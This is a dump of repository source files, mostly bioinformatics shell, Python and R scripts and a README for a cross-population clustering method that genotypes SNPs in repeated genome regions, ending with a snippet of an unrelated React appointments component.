${MapQual} ${sample_bam_file} > ${tmp_path}${qpileupName}\n\t\tgzip -f ${tmp_path}${qpileupName}\n\t \n \t #for analysis, take positions with depth >= 9\n\t\tzcat ${tmp_path}${qpileupName}.gz | awk '$4>='$depth'' > ${tmp_path}${qd_pileupName}\n\t\trm -f ${tmp_path}${qpileupName}.gz\n\t\tgzip -f ${tmp_path}${qd_pileupName}\n\t \n\t #******AAP GENERATION on Q20 PILEUP******#\n\t\tif [ -e ${tmp_path}${qd_pileupName}.gz ]; then\n\t\t echo \"..CHR${ichar} Q${MapQual} D${depth} alt count file\"\n\t\t python ./Count_All_Alternative_Alleles.py ${tmp_path}${qd_pileupName}\n\t\t rm -f ${tmp_path}${qd_pileupName}.gz\n\t\t echo \"...CHR${ichar} AAP/REF file\"\n\t\t python ./run_AAcount_forSSC.py ${tmp_path}${qd_altcntName}\n\t\t rm -f ${tmp_path}${qd_altcntName}.gz\n\t\t cp -f ${tmp_path}${aapFile}.gz ${aap_path}. # copy aap and ref file to AAP count path\n\t\t cp -f ${tmp_path}${refFile}.gz ${aap_path}.\n\t\t rm -f ${tmp_path}${aapFile}.gz\n\t\t rm -f ${tmp_path}${refFile}.gz\n\t\telse\n\t\t echo \"q${MapQual}_d${depth}_pileup doesn't exist.\" \n\t\tfi # if ${qd_pileupName}.gz exists \n\t done # for chr 1 to 24\n\telse # if there is a read\n\t echo \"There is no read in the bam\"\n\tfi # if there is a read\n\trm -f ${sample_bam_file}*\n else # if bam exist\n\techo \"${sample_bam_file} does not exist\"\n fi # if bam exists\n \n echo \"END: $(date +\"%D\"), $(date +\"%T\")\"\n samp_end=$(date +%s)\n echo \"IT TOOK $(( ${samp_end} - ${samp_start} )) SECONDS FOR THIS SAMPLE.\"\n echo \"####################################################\"\n\ndone #sample 1-4\t \n\nfam_end=$(date +%s)\necho \"***IT TOOK $(( ${fam_end} - ${fam_start} )) SECONDS FOR THIS FAMILY.***\"\n\n" }, { "alpha_fraction": 0.7576586604118347, "alphanum_fraction": 0.7729759216308594, "avg_line_length": 64.10713958740234, "blob_id": "ccf6876217453e02a208bd8cef8157638b7f5439", "content_id": "4c3f5fa339ea47f875a063599f3d6e2ee62dd395", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1828, "license_type": "no_license", "max_line_length": 454, "num_lines": 28, "path": "/README.md", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "# Cross Population Clustering (CPC)\nPopulation-based Detection and Genotyping of Single Nucleotide Polymorphisms in Repeated Regions of the Genome\nJayon Lihm<sup>1</sup>, Vladimir Makarov<sup>2</sup>, and Seungtai (Chris) Yoon<sup>1</sup> \n\n1 Cold Spring Harbor Laboratory, Cold Spring Harbor, NY 11724 \n2 Memorial Sloan Kettering Cancer Center, New York, NY 10065\n\n(Manuscript in prep for submission)\n\nContact Info: [email protected] \n\n---\n\nCPC is a SNP genotyping algorithm in large-scale population. The method can detect SNPs in small repeated regions that are difficult to be genotyped with conventional methods. The method requires \"cluster\" package in R. \n\n**1. Generate_AAP_forQuads.sh** \nThis script processes bam file to pileup files to alternative allele count files that will be the groundwork for CPC. BAM files we used were by family (mostly quads consisting of mother, father, sibling, and proband). Thus the script starts from seprating a single family BAM file to four individual BAM files. Individual BAM files are then passed to python scripts to tabulate pileup files and determine reference and alternative alleles per position. \n\n**2. Make_AAP_withD30.sh** \nWe deterine parameters based on high quality positions, that are positions with 30 or more read depth. \n\n**3. Filter_positions_with_small_samples.sh** \nIn order for PAM to work on our data, we require at least 55 samples to have genotypes other than ref/ref. Thus we initially scan the number of samples per position and filter out the positions with less than 55 samples with data.\n\n\"make_allChr_windows.sh\" needs to be run before step #3. \n\n**4. Clustering_AAP.R** \nThis R script is the main body of our method. It collects data from all samples and generate a single matrix (of a given block of chromsome to reduce the size). Then PAM clustering is applied. \n\n\n\n" }, { "alpha_fraction": 0.5959183573722839, "alphanum_fraction": 0.6008163094520569, "avg_line_length": 22.09433937072754, "blob_id": "a82d3ef4e60fa5b8d72edffd5e033b194e9808eb", "content_id": "9e7415ebd1834d0b3fe9a6113d8cd38f7fe34389", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1225, "license_type": "no_license", "max_line_length": 61, "num_lines": 53, "path": "/FileUtilities.py", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "import os\nimport os.path\nimport numpy\n\ndef execute(com, debug=False):\n if debug==True:\n print (com)\n os.system(com)\n\ndef isExist(filename):\n if os.path.exists(filename) and os.path.isfile(filename):\n return True\n else:\n return False\n\ndef fileSize(filename):\n return int(os.path.getsize(filename))\n\ndef delete(filename):\n if os.path.exists(filename) and os.path.isfile(filename):\n os.unlink(filename)\n\n\"\"\" Linear search, returns first index \"\"\"\ndef find_first_index(lst, elem):\n ind = -1\n for l in lst:\n if str(elem)==str(l):\n ind=0\n\n return ind\n\ndef read_one_str_col(filename):\n fh = open(filename, \"r\")\n values = []\n for line in fh:\n values.append(line.strip('\\r\\n'))\n return values\n\n\ndef txt2gzip(txtfile, debug=True):\n if (isExist(txtfile) and fileSize(txtfile) > 0):\n com = 'gzip -f ' + txtfile\n execute(com, debug)\n if debug==True:\n print(txtfile + \" File created \")\n\n\ndef gzip2txt(zipfile, debug=True):\n if (isExist(zipfile) and fileSize(zipfile) > 0):\n com = 'gunzip -f ' + zipfile\n execute(com, debug)\n if debug==True:\n print(zipfile + \" File created \")\n\n" }, { "alpha_fraction": 0.7459016442298889, "alphanum_fraction": 0.7479507923126221, "avg_line_length": 43.272727966308594, "blob_id": "f2ba18c158b0a4b3b44264eeb7405c2f767c968c", "content_id": "c3abb546fb7180b2b8b5ac2a36c614d57a2e7943", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 488, "license_type": "no_license", "max_line_length": 141, "num_lines": 11, "path": "/Generate_AAC_files.py", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport FileUtilities as fu\nimport functions_alt_count as AltCnt\n\n\n## Find the largest alternative allele, its counts, adjusted depth (count of ref allele + count of the largest alternative allele)\n## INPUT: chr${ichar}_q${MapQual}_d${depth}_mapped.pileup.alt_count \n## OUTPUT: chr${ichar}_q${MapQual}_d${depth}_mapped.pileup.alt_count.aap.gz, chr${ichar}_q${MapQual}_d${depth}_mapped.pileup.alt_count.ref.gz\nfile_in=sys.argv[1]\nAltCnt.get_macount(altcount=file_in)\n\n" }, { "alpha_fraction": 0.5600000023841858, "alphanum_fraction": 0.6520000100135803, "avg_line_length": 34.57143020629883, "blob_id": "c86f267c26cc4f339b2f1bf13d41c407b1e2f5ef", "content_id": "4d4efda092e12fe6fc53ee68f63fb38c8efd99fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 250, "license_type": "no_license", "max_line_length": 160, "num_lines": 7, "path": "/make_allChr_windows.sh", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "## Generate 100KB windows per chromosome, 0-based\n\nfor i in {1..22}\ndo\n echo $i\n bedtools makewindows -g /seq/SNP_pipeline/hg19_forGATK/hg19.fasta.fai -w 100000 | awk '$1==\"chr'${i}'\"' | sed 's/chr//g' > ./hg19_chr${i}.100Kbp.windows.bed\ndone\n\n" }, { "alpha_fraction": 0.5513747930526733, "alphanum_fraction": 0.586107075214386, "avg_line_length": 27.79166603088379, "blob_id": "4d07395fc07f9bbc9500c14ff3621edda3bda1fd", "content_id": "d818eb316c05a7b316d3c7e5ebeca112699c8235", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2073, "license_type": "no_license", "max_line_length": 125, "num_lines": 72, "path": "/Filter_positions_with_small_samples.sh", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "#!/bin/sh\n#$ -v PATH\n#$ -o [stdout out]\n#$ -e [stderr out]\n#$ -l m_mem_free=4G\n#$ -l tmp_free=2G\n\n## Count number of samples who have AAP>0 (d30) at the positions\n## Record if the total count is greater than 55\n\n## chrom=\"chr2\"\n## cutoff=55\n## window_bed=\"/seq/jlihm/AAP/greyAAP2/hg19_${chrom}.100Kbp.windows.bed\"\n## maxJob=$(cat ${window_bed} | wc -l)\n## qsub -t 1-$maxJob -tc 200 ./Filter_positions_with_small_samples.sh ${chrom} ${window_bed} ${cutoff}\n\nchrom=$1\nwindow_bed=$2\ncutoff=$3\n\nfamfile=\"./familyinfo.parents.txt\"\n\nchrbed=\"./hg19_${chrom}.100Kbp.windows.sti${SGE_TASK_ID}.bed\"\noutdir=\"./${chrom}/\"\nif [ ! -d $outdir ]; then mkdir -p $outdir; fi\n\nresfile=\"${outdir}${chrom}_d30AAP_sampleCounts.sti${SGE_TASK_ID}.bedg.gz\"\n\nsed -n \"${SGE_TASK_ID}p\" ${window_bed} > ${chrbed}\n\ncount=0\necho \"chrom: ${chrom}\"\necho \"*START: $(date +\"%D\"), $(date +\"%T\")\"\nwhile read line\ndo\n famID=$(echo $line | awk '{print $1}')\n sampleID=$(echo $line | awk '{print $2}')\n\n d30aap=\"./${famID}/${sampleID}/${chrom}_q20_d30.aap.bed.gz\"\n d30aapBG=\"./${famID}/${sampleID}/tmp_sti${SGE_TASK_ID}.${famID}_${sampleID}.${chrom}_q20_d30.aap.bedg.gz\"\n \n bedtools intersect -a ${chrbed} -b ${d30aap} -wa -wb | awk 'BEGIN{OFS=\"\\t\"}{print $4, $5, $6, 1}' | gzip -c > ${d30aapBG}\n numAAP=$(zcat ${d30aapBG} | wc -l)\n echo $count $famID $sampleID $numAAP\n\n if [ $numAAP -gt 0 ]; then\n\t(( count=$count+1 ))\n fi\n\n if [ $count -eq 1 ]; then\n\tafile=${d30aapBG}\n elif [ $count -gt 1 ]; then\n\tif [ $numAAP -gt 0 ]; then\n\t bfile=${d30aapBG}\n\t new_afile=\"./tmp_${chrom}_sti${SGE_TASK_ID}.d30AAP_count${count}.bedg.gz\"\n\t bedtools unionbedg -i ${afile} ${bfile} | awk 'BEGIN{OFS=\"\\t\"}{print $1, $2, $3, $4+$5}' | gzip -c > ${new_afile}\n\t rm $afile\n\t rm $bfile\n\t afile=${new_afile}\n\tfi\n fi\ndone < $famfile\n\nif [ $count -le $cutoff ]; then\n echo -n \"\" | gzip -c > $resfile\nelif [ $count -gt $cutoff ]; then\n zcat $afile | awk '$4>\"'$cutoff'\"' | gzip -c > $resfile\n rm ${new_afile}\n rm ${chrbed}\nfi\n\necho \"END: $(date +\"%D\"), $(date +\"%T\")\"\n" }, { "alpha_fraction": 0.454405277967453, "alphanum_fraction": 0.47356829047203064, "avg_line_length": 31.191490173339844, "blob_id": "3354b7d4a77177ad6cef456730267e2e7f0d99ec", "content_id": "e402c2d69013ed4d7770dadd3297ca147469d129", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4540, "license_type": "no_license", "max_line_length": 213, "num_lines": 141, "path": "/functions_alt_count.py", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport gzip\nimport FileUtilities as fu\n\nACCEPTED_CHR = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\",\"21\",\"22\", \"X\", \"Y\", \"MT\"]\n\ndef count_alt(strng):\n strng = strng.upper()\n lst = list(strng)\n a=0\n c=0\n t=0\n g=0\n n=0\n ast=0\n match_sum=0\n vc='SNP'\n\n for l in lst:\n l=str(l)\n if l=='A':\n a=a+1\n\n elif l=='C':\n c=c+1\n\n elif l=='T':\n t=t+1\n\n elif l=='G':\n g=g+1\n\n elif l=='*':\n ast=ast+1\n \n elif l=='N':\n n=n+1\n\n elif str(l)=='.' or str(l)==',':\n match_sum=match_sum+1\n\n elif l=='+' or l=='-':\n vc='INDEL'\n\n return str(match_sum) + '\\t' + str(a) + '\\t' + str(c) + '\\t' + str(t) + '\\t' + str(g) + '\\t' + str(ast) + '\\t' + str(n) + '\\t' + str(vc)\n\n\ndef get_count_alt_qpileup(pileup):\n outfile=pileup+'.alt_count'\n fh = gzip.open(pileup+'.gz', 'r')\n fu.delete(outfile+'.gz')\n fh_out = gzip.open(outfile+'.gz', 'w')\n header = 'CHROM' + '\\t' + 'POS' + '\\t' + 'REF' + '\\t' + 'DEPTH' + '\\t' + 'REFCOUNT' + '\\t' + 'A' + '\\t' + 'C' + '\\t' + 'T' + '\\t' + 'G' + '\\t' + 'DEL' + '\\t' + 'N' + '\\t' + 'VC'\n fh_out.write(header+'\\n')\n\n for line in fh:\n fields=line.split('\\t')\n #1\t909768\tA\t41\tGGgGgggGGGGGGggggGGggggGggggggggggggggg^]g^]g\n tofile=str(fields[0])+'\\t'+str(fields[1])+'\\t'+str(fields[2])+'\\t'+str(fields[3])+'\\t'+count_alt(str(fields[4]))\n fh_out.write(tofile+'\\n')\n\n fh.close()\n fh_out.close()\n\n\n\n####Find the maximum allele(s) out of A,T,C,G,DEL\ndef find_max_alleles(allele_counts, allele_list):\n a=allele_counts\n b=allele_list\n max_a=max(a)\n max_b=\"\"\n for i in range(5):\n if (a[i]==max_a):\n max_b=max_b+b[i]\n \n return max_b\n\n\ndef get_macount(altcount):\n outfile_aap = altcount + '.aap'\n outfile_ref = altcount + '.ref'\n fh = gzip.open(altcount+'.gz', 'r')\n\n fu.delete(outfile_aap+'.gz')\n fu.delete(outfile_ref+'.gz')\n\n fh_aapout = gzip.open(outfile_aap+'.gz', 'w')\n fh_refout = gzip.open(outfile_ref + '.gz', 'w')\n\n # in \"alt_count file\"\n #CHROM POS REF DEPTH REF COUNT A C T G DEL N VC\n header='CHROM'+'\\t'+'POS'+'\\t'+'REF'+'\\t'+'DEPTH'+ '\\t' + 'REFCOUNT' + '\\t' + 'A' + '\\t' + 'C' + '\\t' + 'T' + '\\t' + 'G' + '\\t' + 'DEL' + '\\t' + 'N' + '\\t' + 'VC' + '\\t' + 'AD' + '\\t' + 'MACOUNT' + '\\t' + 'MA'\n fh_aapout.write(header+'\\n')\n fh_refout.write(header+'\\n')\n\n linecount = 0\n alt_alleles=['A', 'C', 'T', 'G', 'DEL']\n \n for line in fh:\n line = str(line).strip()\n if linecount > 0:\n fields=line.split('\\t')\n ichr=str(fields[0])\n if ichr.startswith('chr'):\n chr=ichr[3:len(ichr)]\n else:\n chr=ichr\n\n pos=str(fields[1])\n ref=str(fields[2])\n depth=int(fields[3])\n ref_count=int(fields[4])\n n_count=int(fields[10])\n vc=str(fields[11])\n ## reference is not counted in the previous step. In pileup, if bp==ref then it is '.' or ','\n alleles_counts = map(int, fields[5:10]) #fields[5:10]=>A,C,T,G,DEL\n sum_of_alternative=sum(alleles_counts)\n \n if ( fu.find_first_index(ACCEPTED_CHR, chr.strip())>-1 ):\n # Determine \"max_allele\", \"max_allele_count\", and \"adjusted_depth\"\n if (sum_of_alternative == 0):\n adjusted_depth = int(depth - n_count)\n max_allele_count=0\n max_allele=\".\"\n tofile=line+'\\t'+str(adjusted_depth)+'\\t'+str(max_allele_count)+'\\t'+str(max_allele)\n fh_refout.write(tofile+'\\n')\n \n elif (sum_of_alternative > 0):\n max_allele_count = max(alleles_counts) # maximum alternative alele count\n #max_allele = alt_alleles[alleles_counts.index(max_allele_count)] # maximum allele\n max_allele=find_max_alleles(alleles_counts, alt_alleles)\n adjusted_depth = int(ref_count + max_allele_count) #adjusted depth\n tofile=line+'\\t'+str(adjusted_depth)+'\\t'+str(max_allele_count)+'\\t'+str(max_allele)\n fh_aapout.write(tofile+'\\n')\n\n linecount = linecount+1\n \n fh.close()\n fh_aapout.close()\n fh_refout.close()\n\n" }, { "alpha_fraction": 0.584637463092804, "alphanum_fraction": 0.6129217743873596, "avg_line_length": 37.05464553833008, "blob_id": "15666666bb5f607e1f82d7e480fd542509aa847d", "content_id": "ecd42b147d79cadc40df4da01522ff74883e1ffd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 6965, "license_type": "no_license", "max_line_length": 163, "num_lines": 183, "path": "/Clustering_AAP.R", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "## All chr1 positions, #(AAP>0 samples)>55\n## 4,969,820\n\nargs <- commandArgs(TRUE)\nindex <- args[1]\ntmpDir <- args[2]\nchrom <- args[3]\n\nlast_letter <- substr(tmpDir, nchar(tmpDir), nchar(tmpDir))\nif ( last_letter != \"/\" ){\n tmpDir <- paste(tmpDir, \"/\", sep=\"\")\n}\n\n## index <- 781\n## chrom <- 2\n## tmpDir <- \"./tmp\"\n\nlibrary(\"cluster\")\nsamplefile <- \"./familyinfo_parents.txt\"\nsegdupfile <- \"./UCSC_genomicSuperDups_short.sorted_merged.sorted.bed.merged_noCHR\"\n\n## Text file with position and # of samples with AAP>0 where # of samples are greater than 55\nfile <- paste(\"./chr\", chrom, \"/chr\", chrom, \"_d30AAP_sampleCounts.sti\", index, \".bedg.gz\", sep=\"\")\n\noutDir <- paste(\"./chr\", chrom, \"/\", sep=\"\")\n\naap_mat_file <- paste(\"chr\", chrom, \"_aap_mat_sti\", index, \"_test.RData\", sep=\"\") ## AAP matrix R object\noutfile <- paste(\"chr\", chrom, \"_d30AAP_clusterSummary.sti\", index, \".txt\", sep=\"\")\n\nsample_info <- read.table(samplefile, header=F, as.is=T, sep=\"\\t\")\ncolnames(sample_info) <- c(\"famID\", \"sampleID\", \"parents\")\n\nbase_data <- read.table(file, header=F, as.is=T, sep=\"\\t\")\ncolnames(base_data) <- c(\"chrom\", \"start\", \"end\", \"aap_count\")\n\n####### 1. COLLECT AAP from all samples\nAAPdata <- base_data[,c(1,2,3)]\ncat(\"1. Collect AAP from all samples and make AAP matrix\\n\")\ncat(\" - number of positions: \", dim(base_data)[1], \"\\n\")\nstartTime <- Sys.time()\n\nfor (i in 1:dim(sample_info)[1]){\n AAPfile <- paste(\"./\", sample_info$famID[i], \"/\", sample_info$sampleID[i], \"/chr\", chrom, \"_q20_d30.aap.bed.gz\", sep=\"\") ## Specify\n REFfile <- paste(\"./\", sample_info$famID[i], \"/\", sample_info$sampleID[i], \"/chr\", chrom, \"_q20_d30.ref.bed.gz\", sep=\"\") ## Specify\n\n ## collect i-th sample's AAP values overlapping with SGE_TASK_ID's \"bedg\" file, \n test_cmd <- paste(\"zcat \", AAPfile, REFfile, \" | bedtools intersect -a \", file, \" -b stdin -wb | awk 'BEGIN{OFS=\\\"\\t\\\"}{print $5, $6, $7, $8}' | wc -l\", sep=\" \")\n a <- system(test_cmd, intern=TRUE)\n a <- as.numeric(a)\n cat(i, \",\", a, \"\\n\")\n if (a>0){\n cmd <- paste(\"zcat \", AAPfile, REFfile, \" | bedtools intersect -a \", file, \" -b stdin -wb | awk 'BEGIN{OFS=\\\"\\t\\\"}{print $5, $6, $7, $8}'\", sep=\" \")\n tmp <- read.table(pipe(cmd), header=F, as.is=T, sep=\"\\t\")\n colnames(tmp) <- c(\"chrom\", \"start\", \"end\", sample_info$sampleID[i])\n\n tmp <- tmp[order(tmp$chrom, tmp$start),]\n AAPdata <- merge(AAPdata, tmp, all=TRUE, by=c(\"chrom\", \"start\", \"end\"))\n } else if (a==0){\n AAPdata[,sample_info$sampleID[i]] <- rep(NA, dim(AAPdata)[1])\n }\n}\ncat(\"\\n\")\nendTime <- Sys.time()\nprint(paste(\"Start: \", startTime, sep=\"\"))\nprint(paste(\"End: \", endTime, sep=\"\"))\ncat(\"Done\\n\")\nsave(AAPdata, file=paste(outDir, aap_mat_file, sep=\"\"))\n\n######### 2. CLUSTERING\nbase_data$count2 <- apply(as.matrix(AAPdata[,4:dim(AAPdata)[2]]), 1, function(x){ length(which(x>0 & x<=1)) })\nbase_data$d30_count <- apply(as.matrix(AAPdata[,4:dim(AAPdata)[2]]), 1, function(x){ length(which(x>=0 & x<=1)) })\nbase_data$index <- 1:dim(base_data)[1] ## row number\nbase_data$job_id <- index ## SGE_TASK_ID\n\nbase_data$sil3.Inc0_NTr <- -9\nbase_data$sil3.Exc0_NTr <- -9\nbase_data$sil3.Inc0_Tr <- -9\nbase_data$sil3.Exc0_Tr <- -9\n\nbase_data$best.case <- -9\nbase_data$best.sil <- -9\nbase_data$medoid1 <- -9\nbase_data$medoid2 <- -9\nbase_data$medoid3 <- -9\n\nbase_data$lower_bound <- -9\nbase_data$upper_bound <- -9\n\nbase_data$count_c1 <- -9\nbase_data$count_c2 <- -9\nbase_data$count_c3 <- -9\n\ncat(\"2. Record Clustering Results\\n\")\nstartTime <- Sys.time()\n\nfor (i in 1:dim(AAPdata)[1]){\n cat(i, \",\")\n chr <- AAPdata$chrom[i]\n pos <- AAPdata$end[i]\n tmp <- AAPdata[i, 4:dim(AAPdata)[2]]\n aap_count <- base_data$count[i]\n d30_count <- base_data$d30_count[i]\n \n x_ge0 <- as.numeric(t(tmp[which(!is.na(tmp) & tmp>=0)]))\n x_gt0 <- as.numeric(t(tmp[which(!is.na(tmp) & tmp>0)]))\n x_ge0_tr <- x_ge0[which( x_ge0>quantile(x_ge0, 0.05) & x_ge0<quantile(x_ge0, 0.95))]\n x_gt0_tr <- x_gt0[which( x_gt0>quantile(x_gt0, 0.05) & x_gt0<quantile(x_gt0, 0.95))]\n\n x_list <- list(x_ge0, x_gt0, x_ge0_tr, x_gt0_tr)\n x_list.name <- c(\"Inc0,NoTrim\", \"Exc0,NoTrim\", \"Inc0,Trim\", \"Exc0,Trim\")\n\n sil.vec <- NULL\n for (j in 1:length(x_list)){\n x2 <- x_list[[j]]\n if ( length(x2)>3 ){\n clus3 <- pam(as.vector(x2), k=3)\n sil.vec <- c(sil.vec, clus3$silinfo$avg.width)\n } else {\n sil.vec <- c(sil.vec, -999)\n }\n }\n\n col_idx <- grep(\"^sil3\", colnames(base_data))\n base_data[i, col_idx] <- round(sil.vec, 4)\n base_data$best.case[i] <- which.max(base_data[i, col_idx])\n base_data$best.sil[i] <- max(base_data[i, col_idx])\n \n final_x <- x_list[[base_data$best.case[i]]]\n final.clus <- pam(final_x, k=3)\n clus.order <- order(final.clus$medoids)\n\n min.vec <- apply(as.matrix(1:3), 1, function(k, clus=final.clus){ min(final_x[which(clus$clustering==k)]) })\n max.vec <- apply(as.matrix(1:3), 1, function(k, clus=final.clus){ max(final_x[which(clus$clustering==k)]) })\n min.vec <- min.vec[clus.order]\n max.vec <- max.vec[clus.order]\n\n med.vec <- final.clus$medoids[clus.order]\n\n base_data$medoid1[i] <- round(med.vec[1], 4)\n base_data$medoid2[i] <- round(med.vec[2], 4)\n base_data$medoid3[i] <- round(med.vec[3], 4)\n \n base_data$lower_bound[i] <- round((max.vec[1] + min.vec[2])/2, 4)\n base_data$upper_bound[i] <- round((max.vec[2] + min.vec[3])/2, 4)\n\n base_data$count_c1[i] <- length(which(!is.na(x_ge0) & x_ge0<=base_data$lower_bound[i]))\n base_data$count_c2[i] <- length(which(!is.na(x_ge0) & x_ge0>base_data$lower_bound[i] & x_ge0<=base_data$upper_bound[i]))\n base_data$count_c3[i] <- length(which(!is.na(x_ge0) & x_ge0>base_data$upper_bound[i]))\n}\ncat(\"\\n\")\nendTime <- Sys.time()\nprint(paste(\"Start: \", startTime, sep=\"\"))\nprint(paste(\"End: \", endTime, sep=\"\"))\ncat(\"Done\\n\")\n\n############ 3. MARK SEGDUP\ncat(\"3. Mark Segdup\\n\")\nstartTime <- Sys.time()\n\nbase_data$segdup <- FALSE\ntmpfile <- paste(tmpDir, \"tmp.chr\", chrom, \"_sti\", index, \".txt\", sep=\"\")\nwrite.table(base_data[,1:3], tmpfile, col.names=F, row.names=F, quote=F, sep=\"\\t\") ## write tmp file for segdup check\n\ncmd <- paste(\"bedtools intersect -a \", tmpfile, \" -b \", segdupfile, \" -wao \", sep=\" \")\nsegdupOverlaps <- read.table(pipe(cmd), header=F, as.is=T, sep=\"\\t\")\ncolnames(segdupOverlaps) <- c(\"chrom\", \"start\", \"end\", \"segdup.chrom\", \"segdup.start\", \"segdup.end\", \"overlaps\")\ntmp <- segdupOverlaps[which(segdupOverlaps$overlaps>0), 1:3]\n\nif (dim(tmp)[1]>0){\n segdupPos <- paste(tmp$chrom, tmp$end, sep=\":\")\n base_data$segdup[which(paste(base_data$chrom, base_data$end, sep=\":\") %in% segdupPos)] <- TRUE\n}\n\nsystem(paste(\"rm -f \", tmpfile, sep=\" \"))\n\nwrite.table(base_data, paste(tmpDir, outfile, sep=\"\"), col.names=T, row.names=F, quote=F, sep=\"\\t\")\nsystem(paste(\"gzip -f \", paste(tmpDir, outfile, sep=\"\"), sep=\" \"))\nsystem(paste(\"cp -f \", paste(tmpDir, outfile, \".gz\", sep=\"\"), paste(outDir, outfile, \".gz\", sep=\"\"), sep=\" \"))\n\nendTime <- Sys.time()\nprint(paste(\"Start: \", startTime, sep=\"\"))\nprint(paste(\"End: \", endTime, sep=\"\"))\ncat(\"Done\\n\")\n\n" }, { "alpha_fraction": 0.7520215511322021, "alphanum_fraction": 0.7547169923782349, "avg_line_length": 36, "blob_id": "11ff2e8af4c4b1bd75ad25b1a83ff4a4c4776bd9", "content_id": "2896b6c91243f18e8120c9d9acf55c99a1d442b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 371, "license_type": "no_license", "max_line_length": 85, "num_lines": 10, "path": "/Count_All_Alternative_Alleles.py", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport FileUtilities as fu\nimport functions_alt_count as AltCnt\n\n### Tabulate pileup files (list and count all allternative alleles from pileup files)\n## INPUT: chr${ichar}_q${MapQual}_d${depth}_mapped.pileup\n## OUTPUT: chr${ichar}_q${MapQual}_d${depth}_mapped.pileup.alt_count\nq_d_pileup=sys.argv[1]\nAltCnt.get_count_alt_qpileup(pileup=q_d_pileup)\n\n" }, { "alpha_fraction": 0.5506035089492798, "alphanum_fraction": 0.6016713380813599, "avg_line_length": 33.67741775512695, "blob_id": "d750ea44a3599bd4914b0713a67e2fcb5202e276", "content_id": "1695ef77b8cab2d71c2e5834d65f8ab02aa2b7bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1077, "license_type": "no_license", "max_line_length": 131, "num_lines": 31, "path": "/Make_AAP_withD30.sh", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "#$ -v PATH\n#$ -o [stdout output]\n#$ -e [stderr output]\n#$ -l m_mem_free=4G\n#$ -l tmp_free=2G\n\n#### INPUT: Alternative allele count AAP and REF files\n#### OUTPUT: bed file with aap for d30 positions (ref/aap)\n\n## qsub -t 1-22 ./run_collect_allChr_allAAP.sh\n\nfamfile=\"./familyinfo.parents.txt\" ## first column: famID, second column: sample ID\n\nchrom=${SGE_TASK_ID}\n\nwhile read line\ndo\n famID=$(echo $line | awk '{print $1}')\n sampleID=$(echo $line | awk '{print $2}')\n aap_path=\"./${famID}/${sampleID}/\" ## Specify\n out_path=\"./\" ## Specify\n\n aapfile=\"${aap_path}chr${chrom}_q20_d9_mapped.pileup.alt_count.aap.gz\"\n reffile=\"${aap_path}chr${chrom}_q20_d9_mapped.pileup.alt_count.ref.gz\"\n \n d30aap=\"${out_path}chr${chrom}_q20_d30.aap.bed.gz\"\n d30ref=\"${out_path}chr${chrom}_q20_d30.ref.bed.gz\"\n\n zcat ${aapfile} | sed '1d' | awk 'BEGIN{OFS=\"\\t\"}{if($12==\"SNP\" && $13>=30) print $1, $2-1, $2, $14/$13}' | gzip -c > ${d30aap}\n zcat ${reffile} | sed '1d' | awk 'BEGIN{OFS=\"\\t\"}{if($13>=30) print $1, $2-1, $2}' | gzip -c > ${d30ref}\ndone < $famfile\n\n\n" } ]
10
krisekenes/arivale
https://github.com/krisekenes/arivale
cecc4e315cc4167836fddb41842bd0c6b7e7bbcc
5a11d60ab2d1bf7f8fb1d5dccca46b6bb9d8e2b3
3e65218b030c993f7b5833bdfa10160b7bf690ac
refs/heads/master
2018-02-06T18:47:46.367052
2017-07-06T01:53:20
2017-07-06T01:53:20
95,623,204
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6199616193771362, "alphanum_fraction": 0.6266794800758362, "avg_line_length": 42.45833206176758, "blob_id": "6df992573885f15280d72300ef554fcb76251f87", "content_id": "a6a43dc04d5789a95e96d35a951898a252c3a792", "detected_licenses": [], "is_generated": false, "is_vendor": true, "language": "JavaScript", "length_bytes": 1042, "license_type": "no_license", "max_line_length": 174, "num_lines": 24, "path": "/react-calendar/src/comps/appointments.js", "repo_name": "krisekenes/arivale", "src_encoding": "UTF-8", "text": "import React, { Component, } from \"react\";\nimport moment from \"moment\";\n\nconst Appointment = props => (\n <li className=\"collection-item\">\n <label htmlFor=\"task1\">Check In with - {props.coach.first_name} {props.coach.last_name} @ {moment(props.date + 'T' + props.start_time).format('h:mm a - MM-DD-YYYY')} \n <button id='cancelButton' className=\"red\" id='cancelButton' onClick={ e => props.deleteAppointment( e, props.id ) } >Cancel</button>\n </label>\n </li>\n );\n\nconst UpcomingAppointments = ( { appointments, deleteAppointment, } ) => {\n const AppointmentCollection = appointments.map( ( item, index ) => <Appointment deleteAppointment={ deleteAppointment } key={ item.id } index={ index } { ...item } /> );\n return (\n <div className=\"col s12 m6 l3\">\n <h5 className=\"Header\">Scheduled Appointments</h5>\n <ul id=\"task-card\" className=\"collection with-header\">\n {AppointmentCollection}\n </ul>\n </div>\n );\n};\n\nexport default UpcomingAppointments;" }, { "alpha_fraction": 0.6710526347160339, "alphanum_fraction": 0.6716944575309753, "avg_line_length": 32.51612854003906, "blob_id": "10b102f52fb80dd797cd242dd18121b5138d8383", "content_id": 